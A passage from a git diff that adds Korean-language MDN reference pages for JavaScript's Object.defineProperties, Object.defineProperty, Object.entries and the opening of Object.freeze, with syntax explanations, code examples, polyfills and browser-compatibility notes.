+ value: true,
+ writable: true
+ },
+ 'property2': {
+ value: 'Hello',
+ writable: false
+ }
+ // 등등
+});
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>모든 이름과 속성이 원래 값을 가리키는 깨끗한 실행 환경에서 <code>Object.defineProperties</code>는 다음 자바스크립트 재구현과 거의 완벽하게 똑같이(<code>isCallable</code>의 주석에 주목) 실행된다.</p>
+
+<pre class="brush: js;highlight:[8]">function defineProperties(obj, properties) {
+ function convertToDescriptor(desc) {
+ function hasProperty(obj, prop) {
+ return Object.prototype.hasOwnProperty.call(obj, prop);
+ }
+
+ function isCallable(v) {
+ // NB: 함수가 아닌 값이 호출가능할 경우 필요할 시 수정할 것
+ return typeof v === 'function';
+ }
+
+ if (typeof desc !== 'object' || desc === null)
+ throw new TypeError('bad desc');
+
+ var d = {};
+
+ if (hasProperty(desc, 'enumerable'))
+ d.enumerable = !!desc.enumerable;
+ if (hasProperty(desc, 'configurable'))
+ d.configurable = !!desc.configurable;
+ if (hasProperty(desc, 'value'))
+ d.value = desc.value;
+ if (hasProperty(desc, 'writable'))
+ d.writable = !!desc.writable;
+ if (hasProperty(desc, 'get')) {
+ var g = desc.get;
+
+ if (!isCallable(g) &amp;&amp; typeof g !== 'undefined')
+ throw new TypeError('bad get');
+ d.get = g;
+ }
+ if (hasProperty(desc, 'set')) {
+ var s = desc.set;
+ if (!isCallable(s) &amp;&amp; typeof s !== 'undefined')
+ throw new TypeError('bad set');
+ d.set = s;
+ }
+
+ if (('get' in d || 'set' in d) &amp;&amp; ('value' in d || 'writable' in d))
+ throw new TypeError('identity-confused descriptor');
+
+ return d;
+ }
+
+ if (typeof obj !== 'object' || obj === null)
+ throw new TypeError('bad obj');
+
+ properties = Object(properties);
+
+ var keys = Object.keys(properties);
+ var descs = [];
+
+ for (var i = 0; i &lt; keys.length; i++)
+ descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+
+ for (var i = 0; i &lt; descs.length; i++)
+ Object.defineProperty(obj, descs[i][0], descs[i][1]);
+
+ return obj;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>초기 정의. 자바스크립트 1.8.5에 구현됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_지원_현황">브라우저 지원 현황</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.defineProperties")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html b/files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html
new file mode 100644
index 0000000000..0d4a803316
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/defineproperty/index.html
@@ -0,0 +1,417 @@
+---
+title: Object.defineProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.defineProperty()</strong></code> 정적 메서드는 객체에 직접 새로운 속성을 정의하거나 이미 존재하는 속성을 수정한 후, 그 객체를 반환합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>defineProperty</code>는 {{jsxref("Object")}} 인스턴스가 아니라 생성자에서 바로 호출해야 합니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/object-defineproperty.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descriptor</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>속성을 정의할 객체.</dd>
+ <dt><code>prop</code></dt>
+ <dd>새로 정의하거나 수정하려는 속성의 이름 또는 {{jsxref("Symbol")}}.</dd>
+ <dt><code>descriptor</code></dt>
+ <dd>새로 정의하거나 수정하려는 속성을 기술하는 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 대상 <code>obj</code>.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>defineProperty</code>는 객체의 속성을 정교하게 추가하거나 수정할 수 있습니다. 할당을 통해 속성을 추가하는 일반적인 방법을 사용하면 속성 열거<sup>enumeration</sup>({{jsxref("Statements/for...in", "for...in")}} 반복문이나 {{jsxref("Object.keys")}} 메서드)를 통해 노출되어 값을 변경하거나 {{jsxref("Operators/delete", "delete")}} 연산자로 삭제할 수 있습니다. <code>defineProperty</code>를 사용하면 이런 부분을 상세하게 조절할 수 있습니다. <code>Object.defineProperty()</code>로 추가한 속성은 기본적으로 불변합니다.</p>
+
+<p>속성 서술자<sup>property descriptors</sup>는 객체로 나타내며 데이터 서술자<sup>data descriptors</sup>와 접근자 서술자<sup>accessor descriptors</sup>의 두 가지 유형을 갖습니다. 데이터 서술자는 값을 가지는 속성으로, 덮어쓰거나 쓸 수 없습니다. 접근자 서술자는 접근자<sup>getter</sup>-설정자<sup>setter</sup> 한 쌍을 가지는 속성입니다. 서술자는 두 유형 중 하나여야 하며, 동시에 두 유형일 수는 없습니다.</p>
+
+<p>데이터 서술자와 접근자 서술자 모두 객체이며 다음과 같은 키를 공유합니다.</p>
+
+<dl>
+ <dt><code>configurable</code></dt>
+ <dd>이 속성의 값을 변경할 수 있고, 대상 객체에서 삭제할 수도 있다면 <code>true</code>.<br>
+ 기본값은<strong> </strong><code>false</code>.</dd>
+ <dt><code>enumerable</code></dt>
+ <dd>이 속성이 대상 객체의 속성 열거 시 노출된다면 <code>true</code>.<br>
+ 기본값은<strong> </strong><code>false</code>.</dd>
+</dl>
+
+<p>데이터 서술자는 다음 키를 선택사항으로 가집니다.</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>속성에 연관된 값. 아무 유효한 JavaScript 값(숫자, 객체, 함수 등)이나 가능합니다.<br>
+ 기본값은 {{jsxref("undefined")}}</dd>
+ <dt><code>writable</code></dt>
+ <dd>{{jsxref("Operators/Assignment_Operators", "할당 연산자", "", 1)}}로 속성의 값을 바꿀 수 있다면 <code>true</code>.<br>
+ 기본값은<strong> </strong><code>false</code>.</dd>
+</dl>
+
+<p>접근자 서술자는 다음 키를 선택사항으로 가집니다.</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>속성 접근자로 사용할 함수, 접근자가 없다면 {{jsxref("undefined")}}. 속성에 접근하면 이 함수를 매개변수 없이 호출하고, 그 반환값이 속성의 값이 됩니다. 이 때 <code>this</code> 값은 이 속성을 가진 객체(상속으로 인해 원래 정의한 객체가 아닐 수 있음)입니다.<br>
+ 기본값은 {{jsxref("undefined")}}.</dd>
+ <dt><code>set</code></dt>
+ <dd>속성 설정자로 사용할 함수, 설정자가 없다면 {{jsxref("undefined")}}. 속성에 값을 할당하면 이 함수를 하나의 매개변수(할당하려는 값)로 호출합니다. 이 때 <code>this</code> 값은 이 속성을 가진 객체입니다.<br>
+ 기본값은 {{jsxref("undefined")}}.</dd>
+</dl>
+
+<p>서술자가 <code>value</code>, <code>writable</code>, <code>get</code>, <code>set</code> 키를 모두 지니고 있지 않으면 데이터 서술자로 간주합니다. 반면 <code>value</code> 또는 <code>writable</code>과 동시에 <code>get</code> 또는 <code>set</code> 키를 함께 가지고 있으면 오류가 발생합니다.</p>
+
+<p>각 설정값이 서술자 스스로의 속성일 필요는 없습니다. 따라서 서술자가 상속받은 값도 영향을 줍니다. 기본 설정값을 확실하게 보존하려면 {{jsxref("Object.prototype")}}을 먼저 동결하거나, 모든 속성을 명시적으로 지정하거나, {{jsxref("Object.create", "Object.create(null)")}}로 {{jsxref("null")}}을 가리키세요.</p>
+
+<pre class="brush: js">// __proto__ 사용
+var obj = {};
+var descriptor = Object.create(null); // 상속받은 속성 없음
+// 기본으로 열거 불가, 설정 불가, 변경 불가
+descriptor.value = 'static';
+Object.defineProperty(obj, 'key', descriptor);
+
+// 명시적
+Object.defineProperty(obj, 'key', {
+ enumerable: false,
+ configurable: false,
+ writable: false,
+ value: 'static'
+});
+
+// 같은 객체를 재활용하기
+function withValue(value) {
+ var d = withValue.d || (
+ withValue.d = {
+ enumerable: false,
+ writable: false,
+ configurable: false,
+ value: null
+ }
+ );
+ d.value = value;
+ return d;
+}
+Object.defineProperty(obj, 'key', withValue('static'));
+
+// Object.freeze가 존재하면
+// 속성의 추가/제거 방지
+// (value, get, set, enumerable, writable, configurable)
+(Object.freeze || Object)(Object.prototype);
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이진 플래그 형태로 <code>defineProperty</code>를 사용하는 예제는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">additional examples</a>에 있습니다.</p>
+
+<h3 id="속성_생성하기">속성 생성하기</h3>
+
+<p><code>Object.defineProperty()</code>는 지정한 속성이 객체에 존재하지 않으면 주어진 서술자를 사용해 새로 생성합니다. 서술자의 일부 항목은 생략 가능하며, 생략한 항목은 기본값을 대신 사용합니다.</p>
+
+<pre class="brush: js">var o = {}; // 새로운 객체 생성
+
+// 데이터 속성 서술자와 defineProperty로
+// 새로운 속성을 추가하는 예시
+Object.defineProperty(o, 'a', {
+ value: 37,
+ writable: true,
+ enumerable: true,
+ configurable: true
+});
+// 'a' 속성이 o 객체에 존재하고 값은 37
+
+// 접근자 속성 기술자와 defineProperty로
+// 새로운 속성을 추가하는 예시
+var bValue = 38;
+Object.defineProperty(o, 'b', {
+ // ES2015 단축 메서드명 사용
+ // 아래 코드와 같음
+ // get: function() { return bValue; }
+ // set: function(newValue) { bValue = newValue; },
+ get() { return bValue; },
+ set(newValue) { bValue = newValue; },
+ enumerable: true,
+ configurable: true
+});
+o.b; // 38
+// 'b' 속성이 o 객체에 존재하고 값은 38
+// o.b를 재정의하지 않는 이상
+// o.b의 값은 항상 bValue와 동일함
+
+// 두 가지를 혼용할 수 없음
+Object.defineProperty(o, 'conflict', {
+ value: 0x9f91102,
+ get: function() { return 0xdeadbeef; }
+});
+// TypeError 발생
+// value는 데이터 서술자에만,
+// get은 접근자 서술자에만 나타날 수 있음</pre>
+
+<h3 id="속성_수정하기">속성 수정하기</h3>
+
+<p><code>ObjectdefineProperty()</code>는 지정한 속성이 객체에 이미 존재하면 주어진 서술자와 객체의 기존 설정을 사용해 속성의 수정을 시도합니다. 기존 속성 서술자의 <code>configurable</code>이 <code>false</code>이면 속성이 "설정 불가능"하다고 말하고, 이 속성의 어떤 특성도 수정할 수 없습니다. 다만 쓰기 가능한 데이터 속성의 경우 값을 바꾸거나 <code>writable</code> 특성을 <code>true</code>에서 <code>false</code>로 바꾸는건 가능합니다. 속성이 설정 불가능한 경우 속성의 유형을 데이터에서 접근자, 또는 접근자에서 데이터로 바꿀 수 없습니다.</p>
+
+<p>설정 불가능한 속성의 특성을 바꾸려고 시도하면 {{jsxref("TypeError")}}가 발생합니다. 단, 기존 값과 신규 값이 같은 경우, 혹은 쓰기 가능한 속성의 <code>value</code>와 <code>writable</code>은 수정할 수 있습니다.</p>
+
+<h4 id="writable_특성"><code>writable</code> 특성</h4>
+
+<p>속성의 <code>writable</code> 특성이 <code>false</code>인 경우는 "쓰기 불가능"하여 다시 할당할 수 없습니다.</p>
+
+<pre class="brush: js">var o = {}; // 새로운 객체 생성
+
+Object.defineProperty(o, 'a', {
+ value: 37,
+ writable: false
+});
+
+console.log(o.a); // 37 기록
+o.a = 25; // 오류 발생하지 않음
+// 엄격 모드에서는 값이 같더라도
+// 오류가 발생함
+console.log(o.a); // 37 기록, 할당하지 못했음
+
+// 엄격 모드
+(function() {
+ 'use strict';
+ var o = {};
+ Object.defineProperty(o, 'b', {
+ value: 2,
+ writable: false
+ });
+ o.b = 3; // TypeError: "b" is read-only
+ return o.b; // 윗줄이 없다면 2 반환
+}());
+</pre>
+
+<p>위의 예제가 보이듯, 비엄격 모드에서는 쓰기 불가능한 속성의 값에 쓰려고 시도하면 값이 바뀌지 않고, 오류도 발생하지도 않습니다.</p>
+
+<h4 id="Enumerable_속성">Enumerable 속성</h4>
+
+<p><code>enumerable</code>은 해당 속성이 {{jsxref("Statements/for...in", "for...in")}} 루프나 {{jsxref("Object.keys()")}} 에서 노출될지 말지를 정의한다.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+ value: 1,
+ enumerable: true
+});
+Object.defineProperty(o, 'b', {
+ value: 2,
+ enumerable: false
+});
+Object.defineProperty(o, 'c', {
+ value: 3
+}); // enumerable defaults to false
+o.d = 4; // enumerable defaults to true
+ // when creating a property by setting it
+Object.defineProperty(o, Symbol.for('e'), {
+ value: 5,
+ enumerable: true
+});
+Object.defineProperty(o, Symbol.for('f'), {
+ value: 6,
+ enumerable: false
+});
+
+for (var i in o) {
+ console.log(i);
+}
+// logs 'a' and 'd' (in undefined order)
+
+Object.keys(o); // ['a', 'd']
+
+o.propertyIsEnumerable('a'); // true
+o.propertyIsEnumerable('b'); // false
+o.propertyIsEnumerable('c'); // false
+o.propertyIsEnumerable('d'); // true
+o.propertyIsEnumerable(Symbol.for('e')); // true
+o.propertyIsEnumerable(Symbol.for('f')); // false
+
+var p = { ...o }
+p.a // 1
+p.b // undefined
+p.c // undefined
+p.d // 4
+p[Symbol.for('e')] // 5
+p[Symbol.for('f')] // undefined
+</pre>
+
+<h4 id="Configurable_속성">Configurable 속성</h4>
+
+<p><code>configurable</code> 은 객체에서 해당키가 제거될 수 있는지와 (<code>writable</code>을 제외한)기술속성을 변경할 수 있는지에 대한 여부를 동시에 통제한다.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+ get() { return 1; },
+ configurable: false
+});
+
+Object.defineProperty(o, 'a', {
+ configurable: true
+}); // throws a TypeError
+Object.defineProperty(o, 'a', {
+ enumerable: true
+}); // throws a TypeError
+Object.defineProperty(o, 'a', {
+ set() {}
+}); // throws a TypeError (set was undefined previously)
+Object.defineProperty(o, 'a', {
+ get() { return 1; }
+}); // throws a TypeError
+// (even though the new get does exactly the same thing)
+Object.defineProperty(o, 'a', {
+ value: 12
+}); // throws a TypeError
+
+console.log(o.a); // logs 1
+delete o.a; // Nothing happens
+console.log(o.a); // logs 1
+</pre>
+
+<p><font face="Courier New">o.a</font>의 <font face="Courier New">configurable</font> 가 <font face="Courier New">true</font>라면, 위의 예외는 발생하지 않고 속성은 마지막에 제거되었을 것이다.</p>
+
+<h3 id="속성에_기본값_추가하기">속성에 기본값 추가하기</h3>
+
+<p>속성을 정의할 때 기본값을 제공하는 방식은 중요하다. 간단히 점구문을 이용해 할당한 값과 <code>Object.defineProperty</code>를 사용한 경우는 꽤 다르다. 아래 예를 보자.</p>
+
+<pre class="brush: js">var o = {};
+
+o.a = 1;
+// 위의 표현은 아래와 같다:
+Object.defineProperty(o, 'a', {
+ value: 1,
+ writable: true,
+ configurable: true,
+ enumerable: true
+});
+
+
+// 만약 다음과 같이 표현한다면,
+Object.defineProperty(o, 'a', { value: 1 });
+// 아래의 의미를 지니게 된다:
+Object.defineProperty(o, 'a', {
+ value: 1,
+ writable: false,
+ configurable: false,
+ enumerable: false
+});
+</pre>
+
+<h3 id="사용자_정의_Setters_와_Getters">사용자 정의 Setters 와 Getters</h3>
+
+<p>아래의 예는 어떻게 스스로 변화를 기록해두는 객체를 만드는지 보여준다. <code>temperature</code> 속성의 값을 바꾸면 <code>archive</code> 배열에도 로그가 쌓인다.</p>
+
+<pre class="brush: js">function Archiver() {
+ var temperature = null;
+ var archive = [];
+
+ Object.defineProperty(this, 'temperature', {
+ get: function() {
+ console.log('get!');
+ return temperature;
+ },
+ set: function(value) {
+ temperature = value;
+ archive.push({ val: temperature });
+ }
+ });
+
+ this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.defineProperty")}}</p>
+
+<h2 id="호환성_참고사항">호환성 참고사항</h2>
+
+<h3 id="Redefining_the_length_property_of_an_Array_object">Redefining the <code>length</code> property of an <code>Array</code> object</h3>
+
+<p>It is possible to redefine the {{jsxref("Array.length", "length")}} property of arrays, subject to the usual redefinition restrictions. (The {{jsxref("Array.length", "length")}} property is initially non-configurable, non-enumerable, and writable. Thus on an unaltered array it is possible to change the {{jsxref("Array.length", "length")}} property's value, or to make it non-writable. It is not allowed to change its enumerability or configurability, or if it is non-writable to change its value or writability.) However, not all browsers permit this redefinition.</p>
+
+<p>Firefox 4 through 22 will throw a {{jsxref("Global_Objects/TypeError", "TypeError")}} on any attempt whatsoever (whether permitted or not) to redefine the {{jsxref("Array.length", "length")}} property of an array.</p>
+
+<p>Versions of Chrome which implement <code>Object.defineProperty()</code> in some circumstances ignore a length value different from the array's current {{jsxref("Array.length", "length")}} property. In some circumstances changing writability seems to silently not work (and not throw an exception). Also, relatedly, some array-mutating methods like {{jsxref("Array.prototype.push")}} don't respect a non-writable length.</p>
+
+<p>Versions of Safari which implement <code>Object.defineProperty()</code> ignore a <code>length</code> value different from the array's current {{jsxref("Array.length", "length")}} property, and attempts to change writability execute without error but do not actually change the property's writability.</p>
+
+<p>Only Internet Explorer 9 and later, and Firefox 23 and later, appear to fully and correctly implement redefinition of the {{jsxref("Array.length", "length")}} property of arrays. For now, don't rely on redefining the {{jsxref("Array.length", "length")}} property of an array to either work, or to work in a particular manner. And even when you <em>can</em> rely on it, <a href="http://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">there's really no good reason to do so</a>.</p>
+
+<h3 id="Internet_Explorer_8_specific_notes">Internet Explorer 8 specific notes</h3>
+
+<p>Internet Explorer 8 implemented a <code>Object.defineProperty()</code> method that could <a class="external" href="http://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">only be used on DOM objects</a>. A few things need to be noted:</p>
+
+<ul>
+ <li>Trying to use <code>Object.defineProperty()</code> on native objects throws an error.</li>
+ <li>Property attributes must be set to some values. <code>Configurable</code>, <code>enumerable</code> and <code>writable</code> attributes should all be set to <code>true</code> for data descriptor and <code>true</code> for <code>configurable</code>, <code>false</code> for <code>enumerable</code> for accessor descriptor.(?) Any attempt to provide other value(?) will result in an error being thrown.</li>
+ <li>Reconfiguring a property requires first deleting the property. If the property isn't deleted, it stays as it was before the reconfiguration attempt.</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}}</li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Operators/get", "get")}}</li>
+ <li>{{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">Additional <code>Object.defineProperty</code> examples</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/entries/index.html b/files/ko/web/javascript/reference/global_objects/object/entries/index.html
new file mode 100644
index 0000000000..3056d99d31
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/entries/index.html
@@ -0,0 +1,145 @@
+---
+title: Object.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Object/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.entries()</strong></code> 메서드는 {{jsxref("Statements/for...in", "for...in")}}와 같은 순서로 주어진 객체 자체의 enumerable 속성 <code>[key, value]</code> 쌍의 배열을 반환합니다. (<code>for-in</code> 루프가 다른점은 프로토 타입 체인의 속성도 열거한다는 점입니다).</p>
+
+<p><code><strong>Object.entries()</strong></code> 에 의해 반환된 배열(array)의 순서는 객체가 정의된 방법과 관련이 없습니다.  배열 순서가 쓸 곳이 있다면, 다음과 같이 정렬을 먼저 하시는 것이 좋습니다 <code>Object.entries(obj).sort((a, b) =&gt; b[0].localeCompare(a[0]));</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-entries.html", "taller")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">Object.entries(<var>obj</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>객체 자체의 열거 가능한 문자열 키를 가진 속성 <code>[key, value]</code> 쌍이 반환되는 객체입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>지정된 객체 자체의 열거 가능한 문자속성 <code>[key, value]</code> 쌍의 배열입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.entries()</code>는 <code>object</code>에 직접있는 enumerable 속성 <code>[key, value]</code> 쌍에 해당하는 배열을 반환합니다. 속성의 순서는 개체의 속성 값을 수동으로 반복하여 주어진 순서와 동일합니다.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>기본적으로 지원하지 않는 이전 환경에서 호환 가능한 <code>Object.entries</code> 지원을 추가하려면 <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a>에 Object.entries의 데모 구현을 찾을 수 있습니다 (IE에 대한 지원이 필요하지 않은 경우) , <a href="https://github.com/es-shims/Object.entries">es-shims/Object.entries</a> 저장소에있는 polyfill을 사용하거나 아래에 나열된 polyfill을 간단하게 배치 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">if (!Object.entries)
+  Object.entries = function( obj ){
+ var ownProps = Object.keys( obj ),
+  i = ownProps.length,
+ resArray = new Array(i); // preallocate the Array
+  while (i--)
+  resArray[i] = [ownProps[i], obj[ownProps[i]]];
+
+  return resArray;
+ };
+</pre>
+
+<p>For the above polyfill code snippet, if you need support for IE &lt; 9, then you will also need an Object.keys polyfill (such as the one found on the {{jsxref("Object.keys")}} page).</p>
+
+<p>위의 polyfill 코드 스 니펫의 경우 Internet Explorer (9버전 이전)를 지원해야하는 경우 Object.keys polyfill ( {{jsxref("Object.keys")}} 페이지에 있는 것과 같은)도 필요합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js notranslate">const obj = { foo: 'bar', baz: 42 };
+console.log(Object.entries(obj)); // [ ['foo', 'bar'], ['baz', 42] ]
+
+// array like object
+const obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.entries(obj)); // [ ['0', 'a'], ['1', 'b'], ['2', 'c'] ]
+
+// array like object with random key ordering
+const anObj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.entries(anObj)); // [ ['2', 'b'], ['7', 'c'], ['100', 'a'] ]
+
+// getFoo is property which isn't enumerable
+const myObj = Object.create({}, { getFoo: { value() { return this.foo; } } });
+myObj.foo = 'bar';
+console.log(Object.entries(myObj)); // [ ['foo', 'bar'] ]
+
+// non-object argument will be coerced to an object
+console.log(Object.entries('foo')); // [ ['0', 'f'], ['1', 'o'], ['2', 'o'] ]
+
+// returns an empty array for any primitive type, since primitives have no own properties
+console.log(Object.entries(100)); // [ ]
+
+// iterate through key-value gracefully
+const obj = { a: 5, b: 7, c: 9 };
+for (const [key, value] of Object.entries(obj)) {
+ console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
+}
+
+// Or, using array extras
+Object.entries(obj).forEach(([key, value]) =&gt; {
+console.log(`${key} ${value}`); // "a 5", "b 7", "c 9"
+});
+</pre>
+
+<h3 id="Converting_an_Object_to_a_Map">Converting an <code>Object</code> to a <code>Map</code></h3>
+
+<p>{{jsxref("Map", "new Map()")}} 생성자는 반복 가능한 항목을 허용합니다. <code>Object.entries</code>를 사용하면 {{jsxref("Object")}}에서 {{jsxref("Map")}}로 쉽게 변환 할 수 있습니다.</p>
+
+
+
+<pre class="brush: js notranslate">const obj = { foo: 'bar', baz: 42 };
+const map = new Map(Object.entries(obj));
+console.log(map); // Map { foo: "bar", baz: 42 }
+</pre>
+
+<h3 id="Iterating_through_an_Object">Iterating through an <code>Object</code></h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Array_destructuring">Array Destructuring</a>을 사용하면 객체를 쉽게 반복 할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">const obj = { foo: 'bar', baz: 42 };
+Object.entries(obj).forEach(([key, value]) =&gt; console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.entries', 'Object.entries')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.entries")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/freeze/index.html b/files/ko/web/javascript/reference/global_objects/object/freeze/index.html
new file mode 100644
index 0000000000..6eaca7b708
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/freeze/index.html
@@ -0,0 +1,257 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Reference/Global_Objects/Object/freeze
+tags:
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Object
+ - Reference
+ - 동결
+ - 변경
+ - 변경가능성
+ - 불변
+ - 불변성
+ - 잠금
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>Object.freeze()</strong></code> 메서드는 객체를 <strong>동결</strong>합니다. 동결된 객체는 더 이상 변경될 수 없습니다. 즉, 동결된 객체는 새로운 속성을 추가하거나 존재하는 속성을 제거하는 것을 방지하며 존재하는 속성의 불변성, 설정 가능성(configurability), 작성 가능성이 변경되는 것을 방지하고, 존재하는 속성의 값이 변경되는 것도 방지합니다.</span> 또한, 동결 객체는 그 프로토타입이 변경되는것도 방지합니다. <code>freeze()</code>는 전달된 동일한 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-freeze.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Object.freeze(<var>obj</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>동결할 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>함수로 전달된 객체.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
